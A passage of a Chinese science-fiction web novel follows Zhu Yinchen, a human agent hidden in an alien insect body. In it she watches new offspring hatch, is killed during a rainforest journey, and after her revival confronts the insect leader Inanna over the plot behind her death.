屠启闭上眼睛,放下了贴在玻璃上的手。
“那就是,完美人类。”
58.踏沙入海,行前别离
寒潮将去,埃勒伽什已经没之前那么冷了,再过十天左右,天气就会慢慢暖和起来。
珊瑚群的建造也快完工了,伊南娜每天都起得格外早,兴致勃勃地去指挥自己在那边的寝殿该怎么怎么弄,很晚的时候才回来。
这段时间,祝吟辰常呆在空居里面,一方面可以保护林筑不被暗杀,另一方面空居确确实实是个好住的地方。
但是出乎她的意料,自那晚她和尼努尔塔起了冲突后,对方就不再提起对林筑存亡的异议了。
就连上次在埃勒伽什,她俩偶然几次碰面,祝吟辰尴尬地打了个招呼,尼努尔塔也好像什么也没发生一样,沉默地踏了踏虫足,以大颚独有的打招呼方式回礼,然后就继续指挥大颚们搬运石块和木材。
似乎对于阿努来说,姐妹之间的冲突就像喝水一样平常,已经融入了她们的骨血之中。
毕竟就连母亲和胎儿,也有争夺身体养分的斗争。
总而言之,这样看来,林筑应该是安全了,祝吟辰算是松了一口气。
夜潮如约降临,天上那血红的一轮就渐褪去些寒湿的死气,明晃晃地刺在眼里,鲜艳如华贵黑色锦缎上落下一滴血。
夜风微凉,祝吟辰刚刚从埃勒伽什回来,踏进房门,房间里空荡荡的。
林筑不在,大概是去找阿利都们玩了,她记得林筑以前就是个超级颜控的。
晶莹果实造就的房间微微泛着葡萄酒液一样的红光,天光自极薄透的花瓣窗帘外透进,在室内照进一片暧昧的绯色,祝吟辰坐到窗沿边上,望着外面模模糊糊的空居夜景。
好在现在的局势,已经逐渐清明起来。
到现在为止,陈立新和凌风失踪的事情也好,阿图特被拍卖的事情也好,所有的线索,都指向零启计划,和其背后的袁立。
林筑这段时间不肯理她,唯一还能跟进调查零启计划的途径,就是寻找其他先遣调查小队可能遗留在这里的资料。
那天,她在洞穴里找到的遗物只是部分,还有其他派去的成员遗物没有找到,如果去问问阿努们,说不定能找到线索。
先问谁呢?
正在她思考之际,房门外突然传来乱纷纷的声音,她轻轻掀开花瓣窗帘往下望去,水上宫殿站着一群翘首以盼的阿利都。
看来是伊南娜回来了。
说起来,要不要问问伊南娜呢?
大颚本来就有巡视和守卫虫群的义务,伊南娜作为其首领,阅历肯定也最丰富,说不定当初先遣调查小队被剿灭的事情,就有她的事。
祝吟辰想到这里,打定主意,趁着还没到伊南娜呼呼大睡的时间,她赶紧跑出房门,抓住一个路过的阿利都。
阿利都吓得一个激灵,露出惊恐的神情,挣扎着往天上飞,金色的羽毛飘得到处都是,祝吟辰急忙拉住他的翅膀,喊道:“麻烦带我去一下下面!”
……
“长得似若……人类的入侵者?”
“是的。”
伊南娜半倚靠在藤座上,双眼微阖,眼底透出些困倦的意思,轻声重复着这个陌生的音节。
原来这种生物,给自己命令的名字,叫人类啊。
“怎么突然问起这种事?”
“我从那个雌性人类的口中得知,她们对阿努的进攻是有预谋的,包括她自己在内,人类已经派遣了几支队伍,前来调查虫群的内部构造。”
祝吟辰说到这里,藤座上的伊南娜突然掀起眼皮,自顾自地玩昧一笑,她心中不禁暗暗捏了一把汗。
“当然,那个雌性人类已经降服了,表示不会再有攻击阿努的意愿,所以,我还是主张留下她的性命。”
两个阿利都呈上盛满酒液的石杯,伊南娜稳稳接过,祝吟辰礼貌地摆摆手,表示不用,眼睛又盯住伊南娜的举动。
伊南娜摇晃着石杯,如把玩一个精致的小玩具般。
她并不看祝吟辰,只是注视着酒液平面泛起的涟漪,说道:“聪慧的伊塔,你想做的,就只管去做好了。”
“我确实记得那弱小的生灵,若是想探寻人类的踪迹,就去南部的环山围绕中间,那层层叠叠的雨林中心,深藏地表下的温室,静待你的到来。”
……
在祝吟辰出发之前,林筑突然出现在门口,默不作声地看着她。
房间里一片诡异的寂静。
二人之间沉默着,僵持了良久,直到祝吟辰准备着手出门,林筑才板着脸开口道:“你真的打算去?”
“是的。”
林筑偏过头,叹了口气。
“那边是第二小队去的方向,在他们发来进入雨林的信号后,所有小队就再也没接收到他们的消息。”
“其实我觉得,那个长得很高大的红发阿努说不定是在害你。”
祝吟辰把兜好干粮和被子的兽皮压实了,往腹部一塞,回头倚着窗沿,冲林筑笑了笑:“你现在也管她们叫阿努了?”
林筑翻了个白眼,把门一甩,扬长而去。
祝吟辰看着那尴尬离去的背影,嘴角不自觉地勾起一抹温柔的笑意。
或许有一天,林筑也能接受和阿努们和谐相处吧。
“伊塔?”
敞开的房门后面,轻轻响起几声敲门声,祝吟辰转头望去,一个阿利都小心翼翼地从门后探出头,像个机敏的金羽小鸟一样可爱。
可能是因为她现在心情好吧。
“叫我做什么?”
看着祝吟辰脸上和善的笑容,阿利都慢慢放松了身体,说话的声音稍微大了一点:“伊南娜阿努萨让你快些去埃勒伽什,说有惊喜等着你。”
“什么惊喜?”
阿利都眼神偏向一旁,低着头犹豫了一会儿。
“安提的女儿们,诞生了。”
……
从未感到脚步原来可以跑得这么快,身体原来可以如此轻捷,但奔跑的每一步又漫长得如此难以忍受。
所有的喜悦和激动在其间无限地延展开去,带着她跑向那意义非凡的地方。
埃勒伽什,她们的第一个城邦,新兴生命初生的地方。
终于快到了,抓住树上的藤蔓,用力荡向前方,祝吟辰稳稳踩在更高大树木的顶端树梢上。
她此时的眼睛分外地尖,远远地就望见了沙滩上的伊南娜,和一群走来走去的阿努。
“这就是安提的孩子?”
尼努尔塔因为没有眉毛,也没有柔软的脸,不能皱眉,所以只是郁闷地看着沙滩上冲上来的一团软趴趴的东西,有些嫌弃地用虫足轻轻碰了碰。
这新生的阿努让她想起某种难忘的东西……
伊南娜接过拉姆抱过来的软趴趴,因为过于湿滑,居然没抱住,滑落到沙滩上,她突然感到好玩极了,蹲下身子,和滑落到地上的软趴趴友好互动。
沙滩上的其他阿努们此时也都有些手忙脚乱。
大颚们小心翼翼地躲着软趴趴,慢慢地挪到踩不到她们的地方;拉姆们因为身形较小,就做了把软趴趴分批运送到海水里的主力军;小虫们则一如既往地好动,大多是和软趴趴一起做游戏,要是被触手缠住了,就会大叫。
“伊南娜!”
伊南娜和尼努尔塔转过身,看见祝吟辰正气喘吁吁地赶过来,这么远的距离,她居然在夜潮刚落下时就赶到了。
祝吟辰跑过来,身上全是汗,却还不休息,一边喘着气,一边急急忙忙地问;“安提的女儿在哪里?”
“这些。”
“哪些……”
祝吟辰愣住了,因为尼努尔塔抬起一根虫足,正指向她的脚底。
她顺着看过去,看见一团软趴趴的,看起来像是一团无色透明胶质物的东西,正拼命挣扎着,被自己踩在脚下。
祝吟辰赶紧抬起脚,虽然有些难以置信,但
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还是紧张地捧起了脚底的这团不明物,仔仔细细地打量。
她观察了半天,才发现这东西的形态比她第一印象的要复杂。
约拳头般大小,外形如一个充满蛋清的无色透明球藻,内部错落着若隐若现的血管和未成型的脏器组织,外部长着几条柔软的触手,上面布着三四个小小的吸盘,似乎是起着捕获进食海水中的浮游物的作用。
祝吟辰越看,越觉得眼熟。
这东西怎么看起来……
像是自己当初的卵形态和伽拉瑟亚的海洋特别版组合体?
过了约一分钟左右,祝吟辰看着手心的软趴趴,从一开始安安静静的模样,慢慢地蠕动起来。
几条小小的触手从其中伸出,试探摸索着她的手掌。
祝吟辰还没来得及为这湿滑粘稠的感觉感到不适,小小的触手却突然不满地抽了一巴掌她的手心。
……?
“她没找到吃的。”
在一旁盯着看的尼努尔塔平静地翻译道。
伊南娜哈哈大笑起来,祝吟辰尴尬地走开,不想和这群幸灾乐祸的阿努一般见识。
她走到海潮涨落边上,双脚踏着海浪,慢慢俯下身子,手掌浸入扑来的海水,试图将软趴趴送入海中。
然而不知为何,软趴趴却死死附着她的手心不肯下来,又用两根触手往海水里那头用力地伸去,似乎是想将她拖进海底。
这么好斗的吗?
祝吟辰无奈地收回手,手心上的软趴趴仍动作不改,甚至伸展得更加用力。
看着看着,她心中突然有了一种奇妙的感受,好像一种很柔软、纯洁的东西,轻轻将心底最深处触动。
于是她顺着软趴趴的指引,向大海深处走去。
从浅滩进入那片神秘莫测的蔚蓝世界,脚底的细沙逐渐被冰凉的海水取代,每踏进一步的深入,耳畔的风声就会微弱一点。
直到完全浸没海中,身体被海水轻轻托起,睁开眼远远望向海中的那一刻,海水灵动的波澜起伏错落出光线的颜色,一直铺到视线尽头,这无边无际的光之网下,是壮观磅礴的珊瑚丛群。
它们色彩斑斓,形态各异,错落有致,有的像是巨大圆润的灵芝,有的像是分枝繁茂的粗壮鹿角,还有的如同嶙峋的怪石,在透过海水的天光照射下熠熠生辉,粗糙的外表绚烂多彩。
无数的点点微光穿梭其间,在这里她们没有桎梏,自由自在地游来游去,与其他复苏的海洋生物一起畅乐舞蹈,又彼此为食。
祝吟辰望着这片伟迹,埃勒伽什在海面下的真容,远比它在海面上露出的要更光辉伟大。
掌心的软趴趴在海里行动更加自如,她小小的身躯拉着祝吟辰,牵着她往更深的海里遨游去。
或许不该叫她软趴趴,而是更正式的名字。
阿努。
几股洋流裹挟着大片大片的鱼群席卷流过,那是生命复苏的风暴。
祝吟辰心中突然生出一个主意。
她用力一蹬腿,往前扑游了几步距离,灵巧地一转身,抓住游经大鱼身上附着的贝类,让大鱼带着她和小阿努一起向前去。
清晨的海水冷冽,她们浮游在海中,鱼群缭绕,天光泛着层层波澜自她们身上布织、流淌,折射到眼中的光线,闪着希望的颜色。
远处的珊瑚群还在被建造,拉姆们已经潜下海来了,将那些五颜六色的泥土和石块,都砌入其中,一不小心,一颗美丽的蓝宝石从矿石里脱落,游过的小鱼轻吻了一下,尾鳍灵巧卷动海水,蓝宝石就落入更深的海中。
万物生长,生灵复苏。
她在其中。
祝吟辰知道,这是安提在地底待得闷了,想在她离别之际,带着她再玩一次。
她望向海底照落的天光,指尖勾住游得欢快的小小阿努,心中渐泛起一片很轻很轻的涟漪。
谢谢你,安提。
59.重归之际,再别之时
伊南娜所说的南部森林,按蓝星的地理概念来类比,就是接近赤道的一片热带雨林。
只是范围大得有点超乎祝吟辰想象了。
她已经马不停息地奔波了快五个夜潮,从北方到南方,离开了埃勒伽什,穿越了辽阔的雪原,经过了白柱盆地,穿过了开始复绿的草原,期间经历了数次大大小小的艰难险阻,才终于抵达了雨林——的边界地带。
如一座座小型堡垒般的巨树高耸入云,伞状的树冠层层叠叠,枝叶繁茂交织,暖色的天光透过缝隙洒下,在赶路的祝吟辰身上照落一片斑驳的光影。
此时正是天光最亮的时刻,天气也最闷热。
祝吟辰渐累得有些走不动了,腹中也饿得慌。
她四处望了望,在充满视野的茂密植株间好不容易发现一块还算干燥的石头,踩着潮湿的泥土走过去,坐在上面暂作歇息。
但此行时间实在紧凑,她得赶在回溯蓝星前把温室找到,想着还是先随便吃点东西,早点走比较好,于是没有去狩猎,掏出腹中最后的一点干粮。
那是她前几天在草原找到的一种硬皮浆果,吃起来像水果味的爆米花。
祝吟辰一边吃,一边观察四周,规划着下一步的方向。
这里的植被繁茂得惊人,重重深浅不一的绿色将视野遮蔽得眼花缭乱,但凡记不住来时的路,下一秒就要淹没在这片生机勃勃的海洋里。
她记得伊南娜说过,温室在雨林的中心,只要一直往深处内里走,应该就可以到。
休息了几分钟,祝吟辰站起身,活动了下腿脚关节,继续前进。
行至天色渐晚,血色天光为林中万物拂上一层阴翳,红与绿混做或深或浅的浊色,祝吟辰环顾四周,只觉得是无数开枝散叶的巨大铁柱将自己重重包围,不禁感到有些紧张。
远处的溪流像是土壤里汩汩汇出的血水,远远传来叮咚的水声,水面闪着亮晶晶的、诡异的光。黑暗的地方,深处总是隐藏着蠢蠢欲动的杀机。
雨林的昼夜温差大,祝吟辰打了个寒战,加快了脚步。
前方的路径被一滩沼泽断开,半段粗壮的树干斜插入其中,露出的表面爬满潮湿的青苔,看上去已经有些腐朽脆弱。
夜色中,祝吟辰努力睁大眼睛,看清沼泽边缘的路径,小心翼翼地踩着较实的地方前进,前方没路了,就爬上树干,一点点翻过去。
翻过这段路,前方的场景似乎有些出人意料。
很平静。
一点声音都没有,似乎连风声也停歇,高处的树丛和地面的灌木丛静悄悄的,浅水潭泛着一片死寂。
仔细听去,连平常的夜行生物外出捕猎、嬉戏打闹的声音都没有,只有远处更深处的丛林,在枝叶缝隙中泛着点点幽幽的荧光。
过往的经验告诉祝吟辰,这段安安静静的地方,恐怕远比前方那个鬼火一样的地方要危险得多。
果然,她向前走了不到十步,一声急促的微响突然在她头顶右方的树丛里响起,祝吟辰立刻提起警惕,身体本能地一闪,藏到旁边的树干后面。
下一秒,无数不明物子弹般精准地射向她刚才站立的地方,打得地面的灌木草丛碎作数片。
无数草叶扑簌簌地弹起、飘散,宛如绿色的烟雾弹一样爆炸开来,纷纷扬扬地笼罩了离地面较近的大片地方。
祝吟辰瞧在眼里,暗暗捏了一把汗。
趁着草叶还飘在空中,尚未落地,她抓紧时机,在其掩护下立刻闪电般冲了出去,抢在下一场“空中猎杀”前,躲到了另一棵巨树下。
这个点位视野还不错,借着天上照落的红光,祝吟辰总算看到了袭击者们的真面目。
“子弹”的来源是高空树丛里的那群家伙。
它们看上去类似蓝星的猴子,只是身后的尾巴格外粗壮有力,卷曲着挂在高处的树梢上,黯淡无光的黑色双瞳茫然地张着,头上几簇羽状的耳朵轻轻煽动。
看起来是一种主要靠听力来辨别目标方位的生物。
她等了许久,都不见那群家伙再次发动攻击,双方似乎都格外谨慎。
她的时间可不多,没工夫陪它们耗。
祝吟辰悄悄地站起身,踮起脚尖,试图向旁边的另一棵树转移,才挪动了一步,无数来自各个方向的“子弹”立马自高空射向她藏身的树丛,她赶紧藏回去,老老实实蹲下。
这次她看清了,那些家伙的嘴里长着一条蜥蜴般卷曲有力的舌头,它们口中弹射出的“子弹”是附近这些树的种子,也是果实未曾成熟时的样子,这个季节,正是它们刚长出来的时候。
这群家伙大概以为自己是抢在果实成熟之前,来跟它们抢这片粮仓的。
祝吟辰无奈地闭上眼睛。
想不通……阿努都这么强大了,干嘛不早点把这群家伙干掉,好把那个温室守住,搞得自己现在这么麻烦。
更奇怪的是,那个温室明明应该是阿努内部的分工机构之一,但她在雨林里走到现在,居然连一个在附近巡逻的大颚都没看到。
等她回去了,她可要好好问责一下伊南娜。
又等了几分钟,祝吟辰再次悄悄站起身,只不过,这次她的目标不是逃走,而是主动出击。
就她个人的原则而言,最好尽量不改变这里的生态,减少原住民的伤亡,避免之后这群家伙因过度惊恐而离开这片赖以生存的栖息地。
轻轻捡起地上的一块石头,祝吟辰瞄准了自己这片方位对角线处的一块地方,用力一抛!
石块落地声响起的一瞬间,她已经飞掠上树,抢在“子弹”声响起前抓住了一个惊慌失措的家伙,在迟来的“子弹”声中果断将其抹了脖子。
血液四溅,尸体掉落下树。
然而出乎祝吟辰的意料,这群家伙的嗅觉居然也异常灵敏,其中反应快的部分闻见血腥气,立刻锁定她的方位,纷纷尖叫着扑过来,挥动锋利的四爪发动攻击!
意料之外的变数使得祝吟辰反应慢了一拍,左臂上立刻带了几道深可见骨的伤痕。
她忍住钻心的疼痛,在更多攻击到来之前跃向另一棵树,向雨林深处逃去。
这场你追我赶中,阿努优秀的体能渐渐占了上风,大多数家伙都被祝吟辰甩在了身后,只有它们其中的佼佼者还紧追不舍。
离雨林深处的地点只差百米远,祝吟辰咬紧了牙,后面那群家伙似乎是知道她要去的方向,“子弹”的攻击范围越来越集中精准,难以躲闪。
她暗暗捏紧了拳头,一丝纯露开始缭绕在指尖,暴躁的杀意在心头越烧越旺。
终于,在逼近那堵树丛的最后几步,祝吟辰察觉到后脑勺射来的最后一发“子弹”,那隐藏在背后的可怕的、深重的恶意。
电光火石之间,冲进树丛的一刹那,她猛地翻转过身体,极限在半空中抓住树梢,改变方向,“子弹”自她上
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方呼啸而过。
而她指尖的纯露慢慢消失。
她放它们一马,让这些英勇的战士回去守卫它们的族群吧。
扑通一声,祝吟辰整个虫坠落到地面一簇灌木丛中,幸好高度不高,她站起身,感觉没什么大碍,只是屁股有些闷闷地痛。
拍掉身上的草叶,她开始观察这片新的区域。
跟刚才那片雨林比起来,这里又是另一番风景。
夜潮之下,此处风景看起来有些奇怪地斑驳不平,似乎是色彩过于绚烂多样的缘故。
这里的地面盛开着各种各样的花丛,在夜风中花枝微微颤动,四周的树木形态卷曲而异常高大粗壮,看起来是类似于蓝星榕树的品种。
夜风中飘来一阵阵清冷的花香,点点荧光装点这片奇境。
祝吟辰怀着警惕向前走了几步,瞧见一些小生物正小心翼翼地躲在花丛里观察自己。
树梢上挂着的漂浮兽也安安静静的,垂落的触手滴落几滴晶莹的粘液,睡得正香。
她慢慢放下心来,加快了脚步。
走到天快亮的时候,远方传来一声清脆的鸟鸣,而后四处纷纷响应。
经过一个夜潮的你争我斗,那些还活着的夜行生物已经开始回到巢穴,雨林就在这新一轮辗转中渐渐苏醒过来。
祝吟辰打了个哈欠,她的身体沾了夜间灌木丛里潮湿的水汽,实实在在走了一夜,现在渐有些冷的困倦。
但是不能停,再走二十多分钟的话应该就到了。
高大灌木丛掩映间,她已经可以看见远处那奇异的造物。
看起来像一个巨大的、盘状的火山口,掩映在枝叶重重遮罩间,看不真切。
祝吟辰加快脚步,想赶去调查完赶紧睡觉、赶紧回溯,脚底却突然传来一声细微的喀嚓声。
她低头看去,居然看见脚底踩着的草叶和一旁的花丛在摇曳挣扎。
……?
是她太困了,看花了眼吗?
祝吟辰揉了揉眼睛,挪开脚,仔细地看去,发现眼前这场景真是分外奇怪。
草叶和花丛像是一张薄膜造的平面,被无形的力量揉成不规则的碗状,踩中其中一角,就会拉扯出空间的褶皱。
但是,平面为什么会感到疼痛,自己动呢?
祝吟辰本来就有些困得迷迷糊糊的,还没来得及想明白,那扭曲的“平面”突然带着对称的景象扑闪起来,高高地飞上天空去。
似乎是受了这一惊,周围的景象顿时生动起来。
无数变色隐蝶腾空飞起,整个世界像是复制粘贴了一层,又被无形的力量剪作一片片,散乱的风景碎片纷纷飞翔起来,向枝叶掩映的天空缝隙渐隐去。
祝吟辰站在其间,望着天空,心中涌动一阵磅礴的震撼。
这就是大自然的奇迹啊。
然而下一秒,她眼中的世界开始倾斜,掉落在地。
……好像有什么东西倒下去了?
整个世界加速离她远去,成倍的困倦将意识淹没。
在祝吟辰合上眼的最后一秒,一双银白如雪的眼睛一闪而过,倒映在她的眼中。
“归去吧,此处非你可踏足之地。”
恶魔般的低语萦绕在她耳畔,像是魂灵造就的丝线,被一点一点抽离、裹卷,消逝于深渊之中。
“我听见你僭越的名字……我的女儿。”
“伊塔。”
60.她自渊底复还,看见来时的路
像是从回忆里的不可复归之地慢慢升起,湿润的雾气浸透身与心的灵,耳畔渐响起汩汩流淌的水声。
“……塔……”
“伊……醒”
“伊塔,你还好吗?”
祝吟辰惊叫一声,猛地睁开双眼,像是做了一个可怕的噩梦。
四周重新变得沉静下来,冰凉的空气中,祝吟辰重新慢慢闭上了双眼。
她感到自己的心脏几乎要跳出胸膛,滚烫的身体此时与空气冷热交替,刺激出额头和背上一阵阵细密的汗珠,顺着身体慢慢滑落。
眼前氤氲着一层薄薄的湿气,那双银白的眼眸还在脑海里挥之不去。
原来死亡是这样突如其来的事。
一只沉重的大手突然放在祝吟辰的肩头,她吓了一跳,转头看见伊南娜关切的眼神,回过神来,才听到空气里自己急促而混乱的呼吸。
“伊塔,你还好吗?”
那熟悉的声音在这片陌生的空间里再次响起,祝吟辰看着伊南娜的嘴唇一动不动,茫然了一瞬,顿时反应过来,这居然是安提的声音!
可是……她怎么没看见安提?
祝吟辰此时还有些心悸,她忍住身体的不适感,从石台上一瘸一拐地走下,伊南娜及时扶了她一把,默不作声地观察着她的情况。
祝吟辰环顾四周,这里看起来是一片古老的洞窟。
晦暗光线中景色依稀可辨,地面沉着的积水约到脚踝,冰冷的水流像是被无形的力量操纵,每一支都朝着不同的方向流动。
她四处看了半天,愣是没看到除了她和伊南娜以外的其她阿努,只好试探着向一个方向问道:“安提,是你吗?”
“是的,我在这里。”
四周传来安提的声音,仿佛是从虚空中传来的一般,祝吟辰听起来只觉得安提无处不在,但那熟悉的身影却确确实实不在。
站在一旁的伊南娜看出了她心中的疑惑和不安,出声解释道:“安提就在此处,双目不可辨识,唯魂灵可沟通。”
“不可辨识……”
祝吟辰茫然地转过头看着伊南娜,“你是说,安提的形态变化了吗?”
伊南娜一挑眉,眨了眨眼睛,算是肯定的答复。
祝吟辰下意识地转过视线,望着空洞洞的前方,仿佛自己的胸口也变得空洞,一阵淡淡的失落感袭上心头。
她自己也说不清是为什么,明明安提也还在这里。
“伊塔,你的不安我已知晓,不如就在这里暂作歇息,再次熟悉了,就不会感到陌生。”
又是安提的声音!
祝吟辰抬起头,四面八方的空气此时显得生动极了,她好像真的在跟这片空间交流。
伊南娜被撇在一边,站得有些无聊了,百无聊赖地坐到石台上卷头发玩,二虫久别重逢的反应她都看在眼里。
祝吟辰胡乱朝着一个方向问道:“安提,我怎么会在这里?”
“你在那无名的阿努手底下死去,而我命令埃勒伽将你带来,留在我身边。”
无名的阿努?死去?
祝吟辰若有所思地喃喃着这两个词句,坐到伊南娜身旁,安提的话确实让她想起来些什么。
仔细回忆一下,虽然只是极快的一瞬间,但她确实看清了,那双眼睛几乎与自己的一模一样,但似乎有什么更深刻的东西隐匿其中。
她能感觉到,那双眼睛的主人,绝非寻常的阿努。
那个阿努,到底是谁?
“告诉我,伊塔,是谁害了你的性命?”
安提的声音再次响起,祝吟辰回过神来,正要回答,却冷不丁地瞥见身旁伊南娜的侧颜,那烈焰般的赤发之下,血红的唇角悄悄勾起一抹别有深意的笑容。
祝吟辰突然想起来什么,嘴里的话哽在喉中。
对啊,是伊南娜让她去温室的!
自己的死实在过于蹊跷,会不会……是伊南娜在背后设的计呢?
似乎是察觉到身旁祝吟辰渐渐变得警惕的眼神,伊南娜偏过头来,微微一笑,看了看前方,又看了看她,左手往前礼貌地一伸,示意她继续讲。
祝吟辰却慢慢皱起眉头。
伊南娜居然不怕她察觉出什么端倪,和安提联合起来找她算账吗?
怎么还一副“讲啊,你快讲啊”的样子?
看着伊南娜这幅有恃无恐的样子,祝吟辰越来越感到不对劲。
现在还是暂时不要跟安提交代得太清楚吧,毕竟那个阿努的身份她也不清楚,等会出去了,她先找伊南娜算算账。
毕竟她自己,也有个沉重的、见不得虫的秘密。
绝对不能让任何阿努知道。
祝吟辰默默平复下心气,对着前方空幽幽的一团虚无说道:“不太记得了,好像是一个很强的阿努,割下了我的头颅。”
四周的空气沉默了一阵,安提关切的声音再次传来:“那你好好休息吧,一切先交给伊南娜。”
伊南娜没什么反应,似乎是默认接受了这番托付。
“好的,我知道了。”
祝吟辰站起身,习惯性地想抱一下安提作告别,上前踏了一步才反应过来抱不了。
那种失落的感觉从心底深处再次传来,几乎要让她感到悲伤。
脊背被用力地拍了拍,祝吟辰回过头,看见伊南娜脸上的微笑,似乎是想鼓励自己振作起来。
……对,她现在确实得振作起来。
还要找眼前这个笑眯眯的家伙算账呢。
祝吟辰深吸一口气,对着前方一团虚无说道:“我还有事,就先走了。”
“下次再见,安提。”
洞窟里一片寂静,不知为何,这次安提没有回复。
……
跟着伊南娜走了半天,祝吟辰才发现这洞窟居然没有出口,全靠她和伊南娜一起动手挖新的地下通道,弄得身上全是湿漉漉的土。
在又一次不慎啃了一嘴泥巴后,祝吟辰忍不住了:“这到底是什么地方?”
“埃勒伽什的深海地底,生灵循环轮回之地。”
“安提居然就一直住在这种封闭的地方吗?”
伊南娜伸出手,看着掌心残留的黑色湿润泥土。
一种微微粘稠的质感,带着一种浓重却令人无比安心的腥味,肥沃而厚实。
这就是万物的基石。
“她要做的事,只凭她的意志决定。”
“黑暗潮湿的地底,就是她建立文明的最佳驻地。”
祝吟辰看着伊南娜的掌心,突然想起了阿图特曾经在客厅放过的一部切叶蚁纪录片,里面的虫母可以在地底存活十几年或几十年的时间,甚至超过百余年。
安提那样活泼的性格,真的能忍受这样漫长的孤独吗?
二虫沉默下来,吭哧吭哧挖了半天,总算在祝吟辰肚子饿得咕咕叫之前逃了出去。
祝吟辰气喘吁吁地扶着腰,环顾四周,才发现这里居然是一处陌生的树林,放眼望去,别说埃勒伽什了,连其她阿努的半个影子都没看到。
她现在,真的很饿。
还很累。
“到底是怎么回事,不是说这里是埃勒伽什底部吗?”
“我是故意带你来这里的,伊塔。”
无视祝吟辰愤怒的眼神,伊南娜坐到一棵树下,舒舒服服地靠着树干,缓缓闭上眼睛。
“毕竟你有事情要问我,不是吗?”
祝吟辰一下子冷静下来了。
伊南娜知道自己会来质问她,看来自己的死确实与她脱不了关系。
祝吟辰冷冷地盯着伊南娜,单刀直入道:“那个杀了我的阿努是谁?”
“温室的主人,你的母亲,玛赫。”
……!
怎么可能,伊南娜怎么会知道这种事?
她是什么时候暴露的?
意料不到的开端,祝吟辰一下子慌了神,顾不得思考太多,强作镇定地辩解道:“你在胡说些什么,我的母亲是安提。”<
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伊南娜枕着树干微微一笑。
“玛赫,阿努的第二个名字,纳姆的第一个女儿,抚育我们的第二个母亲。”
“雪白的眼呵,雪白的乳水,三千丈长的思绪,她将所有阿努的去向和过往看尽,又送她们去该去的地方。”
突然,伊南娜睁开眼睛,直视着祝吟辰的眼睛,眼底是前所未有的严肃。
“伊塔,告诉我,在温室的那个夜潮,那帮人类把你和另一个卵带去了哪里?”
祝吟辰此时的心在狂跳。
她不知道伊南娜是怎么判断出她的身份的,或许是阿努独有的辨识方式,又或者是别的什么原因。
但现在问题是,她要怎么说,才能逃过被怀疑与人类勾结的嫌疑?
还没等祝吟辰想好该怎么开口,伊南娜已经站到她身后,抚摸着她那头银白如雪的长发,柔软而富有韧性,如雪柳初生的枝条。
“伊塔,在空居森林第一次见到你的时候,我就知道了你的真实身份。”
祝吟辰的心轻轻一颤。
“你或许会觉得很疑惑,我是怎么认出你的?”
“很简单,你和玛赫长得一模一样,你的力量也为玛赫所给予。”
“你的诞生,原本是为了继承玛赫的意志,留在温室里,尽你抚育阿努的义务。”
伊南娜轻轻放下手心的一缕发丝,看见祝吟辰侧颜低垂的眼睫轻颤,眼底透出深沉却不自知的杀意。
她看得出来,那是惯以杀戮谋生的眼神,是历经血的洗礼的馈赠。
看来伊塔在人类那边,经历了不少血淋淋的东西。
她凝视着祝吟辰的侧颜,缓缓开口道:“我本没有欺骗你,人类的遗物确实在温室,那晚的入侵被玛赫一手解决,事后她便驱使我去清理尸首。”
“让你去玛赫那边,是原以为她会将你认下,留在温室那边,却没想到她做出了这样的判决。”
气氛陷入了暂时的沉默,祝吟辰终于发出声来:“你明明早就怀疑我有问题,为什么还要帮我?”
伊南娜微微一怔,祝吟辰此时却已经将她的目的看得明明白白。
“你是打算在打败埃勒伽后,利用这个弱点来离间我和安提吧。”
祝吟辰转过身,冷冷地直视着伊南娜的眼睛。
“我早该觉得不对劲,我和安提之前在冥土附近流浪了这么多天,从来没有找到过人类遗物的一丁点影子。”
“偏偏这段时间,突然出现了几个素未谋面的拉姆,带着我那么巧合地找到了隐藏在地底的人类遗物。”
“你顺水推舟,让我去温室那边,不就是为了让我意识到自己的真实身份过于敏感,应该远离安提,避免被她怀疑和清剿吗?”
祝吟辰一边说,一边慢慢走上前,向伊南娜一步步逼近。
后者沉默不语,居然被她抵在了树干上,高大的身形默不作声地俯视着面前年轻的阿努,烈焰般的赤发在风中飘扬,遮去半个面庞。
祝吟辰伸出手,慢慢的,将一只手重重放在伊南娜肩上。
原本的被动已经转变为了绝对的主动。
“我与人类之间没有什么关联,我确确实实在安提身边苏醒,并从菌群开始,就一直陪伴在她身边,我的身上有她的血的气味。”
“至于你背地里的打算,最好不要把我盘算在内,我最讨厌的,就是被几股乱七八糟的势力搅入局,再接着宏大叙事的纷争来入侵我的意愿。”
二虫之间就这样僵持了一阵,直到远处响起了窸窸窣窣的,大颚们夜间巡逻的声音,祝吟辰才转身离去。
林间渐覆上一层血色的天光,地面的积雪还未消融,大地此时仍有些寒冷。
像是从梦中恍恍惚惚地醒来,伊南娜慢慢地抬起头来,凝望着天上那一轮赤色,在她的眼中倒映作两滴鲜红的血,渐渐地晕染开去。
南边温热的风吹拂过,远处近处树林一片沙沙作响。
“伊塔啊,你究竟是谁?”
61.寒潮退却时,她将空居倾覆
深夜的静谧被吱呀一声轻响惊动,林筑在睡梦中被惊醒,本能地拿出身下藏的匕首,抬头看见门口一个熟悉的黑影,才发现是祝吟辰回来了。
“怎么回来得这么晚?”
她不满地抱怨了一声,借着窗外透进的天光,突然看见了祝吟辰湿漉漉的一身,像是刚刚落了水,话头一下子顿住。
“……怎么搞成这幅模样?”
祝吟辰默不作声地摇了摇头,坐到窗台边上,等待身体晾干。
林筑见她似乎不愿多说,也不再自讨没趣,只重新闭上双眼,翻了个身自顾自地睡去。
窗外拂进一阵微凉的风,湿润的长发紧贴在脖颈间,发梢滴落几滴水,祝吟辰渐感觉有些冷,但这样能让她更清醒一些。
伊南娜刚才的话先不论目的,但确实给了她一个警示。
那就是她掩藏到现在的秘密——
她本不是安提的孩子,而是潜伏在她身边的特工。
她最初的目的确实变了,从寻找虫母坐标变成了真心实意地帮助安提建立新的虫族,但她的身份仍然没有改变。
阿努的外壳下,是完完整整的一个人类。
新的虫母,新的虫族,旧的秩序连同旧的势力,都要被清除。
她凭什么去赌,安提会原谅潜藏了这么久的谎言?
就算安提接受了自己并非她所亲生,她又能接受自己其实是一个穿着阿努皮囊的人类吗?
祝吟辰突然想起那天在空居,为了林筑与尼努尔塔对峙之时,后者冰冷的话语——“如果是安提,她会动手比我更快。”
“……”
夜潮下的空居很安静,方才祝吟辰悄悄在水潭中清洗泥泞的时候,也只惊动了几尾好动鱼儿,轻轻地吻她的指尖。
夜深之时,万物歇止,只有无穷无尽的思绪在蔓延。
祝吟辰拉过花瓣窗帘的一角,将浓稠的夜色都遮蔽去。
或许,她应该远离安提一段时间。
等她将零启计划调查清楚,再去考虑,该如何正面面对和安提的关系吧。
至于那个温室,她不会放弃调查的。
……
